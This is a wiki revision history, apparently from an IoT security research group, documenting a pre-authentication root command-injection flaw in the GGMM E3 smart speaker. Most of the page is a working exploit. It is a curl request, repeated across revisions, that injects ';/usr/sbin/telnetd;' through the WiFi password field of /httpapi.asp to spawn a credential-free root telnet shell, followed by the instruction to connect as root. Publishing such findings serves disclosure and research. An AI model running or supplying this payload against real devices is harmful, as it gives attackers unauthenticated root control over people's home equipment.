GGMM E3 Smart Speaker - Revision history

CJ: /* Pre Auth Root Command Injection */

2017-08-11T00:44:52Z

Pre Auth Root Command Injection

← Older revision		Revision as of 00:44, 11 August 2017
Line 12:		Line 12:
	[https://www.amazon.com/GGMM-Speakers-Multi-Room-Bluetooth-Compatible/dp/B01E3MXHKA/ref=sr_1_1?s=electronics&ie=UTF8&qid=1502258299&sr=1-1&tag=exploiteers-20 Purchase the GGMM E3 Smart Speaker at Amazon]		[https://www.amazon.com/GGMM-Speakers-Multi-Room-Bluetooth-Compatible/dp/B01E3MXHKA/ref=sr_1_1?s=electronics&ie=UTF8&qid=1502258299&sr=1-1&tag=exploiteers-20 Purchase the GGMM E3 Smart Speaker at Amazon]

	==Pre ~~Auth~~ Root Command Injection==		==Pre-Authorization Root Command Injection==

	~~Target: /httpapi~~.~~asp~~		A pre-authorization command injection bug exists in the main application, as the WiFi password is directly passed to a command line utility. A simple command injection via a curl request can spawn a telnet shell, as the root user with no credentials needed.

			Proof of Concept:
	<pre style="white-space: pre-wrap;">		<pre style="white-space: pre-wrap;">
	curl 'http://192.168.43.37/httpapi.asp' -H 'CONTENT-TYPE: application/x-www-form-urlencoded' -H 'Accept: /' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'If-Modified-Since: 0, 0' --data 'command=wlanConnectApEx:ssid=636A32:ch=1:auth=WPA2PSK:encry=AES:pwd=3132333435363738;/usr/sbin/telnetd;:chext=0' --compressed		curl 'http://192.168.43.37/httpapi.asp' -H 'CONTENT-TYPE: application/x-www-form-urlencoded' -H 'Accept: /' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'If-Modified-Since: 0, 0' --data 'command=wlanConnectApEx:ssid=636A32:ch=1:auth=WPA2PSK:encry=AES:pwd=3132333435363738;/usr/sbin/telnetd;:chext=0' --compressed

Zenofex at 12:24, 10 August 2017

2017-08-10T12:24:40Z

← Older revision		Revision as of 12:24, 10 August 2017
Line 21:		Line 21:

	Connect to the telnet service as root		Connect to the telnet service as root

			=== Demo ===
			{{#ev:youtube\|rxtb88qYanI}}

0x00string at 05:58, 9 August 2017

2017-08-09T05:58:45Z

← Older revision		Revision as of 05:58, 9 August 2017
Line 10:		Line 10:
	== Purchase ==		== Purchase ==
	Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.		Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
	[https://www.amazon.com/GGMM-Speakers-Multi-Room-Bluetooth-Compatible/dp/B01E3MXHKA Purchase the GGMM E3 Smart Speaker at Amazon]		[https://www.amazon.com/GGMM-Speakers-Multi-Room-Bluetooth-Compatible/dp/B01E3MXHKA/ref=sr_1_1?s=electronics&ie=UTF8&qid=1502258299&sr=1-1&tag=exploiteers-20 Purchase the GGMM E3 Smart Speaker at Amazon]

	==Pre Auth Root Command Injection==		==Pre Auth Root Command Injection==

0x00string: Created page with "FORCETOC {{Disclaimer}} thumb Category:IOT =GGMM E3 Smart Speaker= "Enjoy the full rich sound by wirelessly streaming your favirote mu..."

2017-08-09T05:34:23Z

Created page with "__FORCETOC__ {{Disclaimer}} 120px|left|thumb Category:IOT =GGMM E3 Smart Speaker= "Enjoy the full rich sound by wirelessly streaming your favirote mu..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:GGMME3.JPG|120px|left|thumb]]
[[Category:IOT]]

=GGMM E3 Smart Speaker=

"Enjoy the full rich sound by wirelessly streaming your favirote music to GGMM E3. E3 uses Wi-Fi/ Bluetooth 4.0 technology to equally project exquisite audio wirelessly."

== Purchase ==
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
[https://www.amazon.com/GGMM-Speakers-Multi-Room-Bluetooth-Compatible/dp/B01E3MXHKA Purchase the GGMM E3 Smart Speaker at Amazon]

==Pre Auth Root Command Injection==

Target: /httpapi.asp

<pre style="white-space: pre-wrap;">
curl 'http://192.168.43.37/httpapi.asp' -H 'CONTENT-TYPE: application/x-www-form-urlencoded' -H 'Accept: */*' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'If-Modified-Since: 0, 0' --data 'command=wlanConnectApEx:ssid=636A32:ch=1:auth=WPA2PSK:encry=AES:pwd=3132333435363738;/usr/sbin/telnetd;:chext=0' --compressed
</pre>

Connect to the telnet service as root

GGMM E3 Smart Speaker - Revision history

CJ: /* Pre Auth Root Command Injection */

Zenofex at 12:24, 10 August 2017

0x00string at 05:58, 9 August 2017

0x00string: Created page with "__FORCETOC__ {{Disclaimer}} thumb Category:IOT =GGMM E3 Smart Speaker= "Enjoy the full rich sound by wirelessly streaming your favirote mu..."

0x00string: Created page with "FORCETOC {{Disclaimer}} thumb Category:IOT =GGMM E3 Smart Speaker= "Enjoy the full rich sound by wirelessly streaming your favirote mu..."